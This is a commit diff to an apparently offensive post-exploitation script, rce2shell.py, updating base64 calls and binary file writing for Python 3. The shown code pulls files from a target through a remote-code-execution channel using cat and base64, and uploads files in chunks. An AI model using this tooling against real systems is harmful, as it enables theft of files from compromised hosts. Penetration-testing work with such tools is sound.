Skip to content

Commit c331629

Browse files
committed
Automatic commit Mon 05 Aug 2019 05:45:13 PM EEST
1 parent 1444bf6 commit c331629

File tree

1 file changed

+5
-5
lines changed

1 file changed

+5
-5
lines changed

rce2shell/rce2shell.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -17,10 +17,10 @@
1717
# If you omit the remote_path it uploads the file on the current working folder.
1818
#
1919
# To download a file: DOWNLOAD remote_path
20-
# e.g. $ DOWNLOAD \temp\myfile.txt
20+
# e.g. $ DOWNLOAD /temp/myfile.txt
2121

2222

23-
import os
23+
import os
2424
import re
2525
import sys
2626
import uuid
@@ -113,15 +113,15 @@ def download(rce, remote_path):
113113
remote_md5sum = response.strip()[:32]
114114
cmd = "cat '" + remote_path + "' | " + find_tool("b64enc")
115115
b64content = send_command(cmd, rce, enclose=True)
116-
content = base64.decodestring(b64content)
116+
content = base64.b64decode(b64content)
117117
local_md5sum = hashlib.md5(content).hexdigest()
118118
print("Remote md5sum: " + remote_md5sum)
119119
print(" Local md5sum: " + local_md5sum)
120120
if local_md5sum == remote_md5sum:
121121
print(" MD5 hashes match!")
122122
else:
123123
print(" ERROR! MD5 hashes do NOT match!")
124-
with open(os.path.basename(remote_path), "w") as f:
124+
with open(os.path.basename(remote_path), "wb") as f:
125125
f.write(content)
126126

127127

@@ -136,7 +136,7 @@ def upload(rce, local_path, remote_path):
136136
with open(local_path, 'rb') as f:
137137
data = f.read()
138138
md5sum = hashlib.md5(data).hexdigest()
139-
b64enc_data = "".join(base64.encodestring(data).split())
139+
b64enc_data = base64.b64encode(data).decode('ascii')
140140

141141
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
142142
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):

0 commit comments

Comments
 (0)